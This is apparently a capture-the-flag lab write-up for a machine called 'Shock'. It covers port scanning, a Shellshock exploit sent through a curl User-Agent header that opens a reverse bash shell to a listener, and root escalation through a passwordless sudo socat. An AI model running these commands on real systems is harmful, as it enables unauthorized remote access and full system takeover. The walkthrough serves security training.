> For the complete documentation index, see [llms.txt](https://psdon.gitbook.io/hackworld/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://psdon.gitbook.io/hackworld/writeup/cyberseclab/shock.md).
# Shock
## nmap
```
mkdir nmap
sudo rustscan -a 172.31.1.3 --ulimit 5000 -- -T4 -A -oA nmap/all-ports-service-scan
```
A web service is open on port 80
And we can confirm that port 80 is really a web server.
Let's run Nikto, and after some time running, looks like the server is vulnerable to ShellShock vulnerability.
## Exploitation
Since the shellshock vulnerability is pretty popular, we can find how to exploit and get a reverse shell from [hacktricks](https://book.hacktricks.xyz/pentesting/pentesting-web/cgi)
```
sudo nc -lvnp 80
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.0.41/80 0>&1' http://172.31.1.3/cgi-bin/test.cgi
```
Craft the shell to your needs and you should receive your shell.
## Privilege Escalation
Running `sudo -l` we can confirm that we can run `socat` with root privilege without a password.
To gain root privilege, run the following
```
sudo socat stdin exec:/bin/sh
```
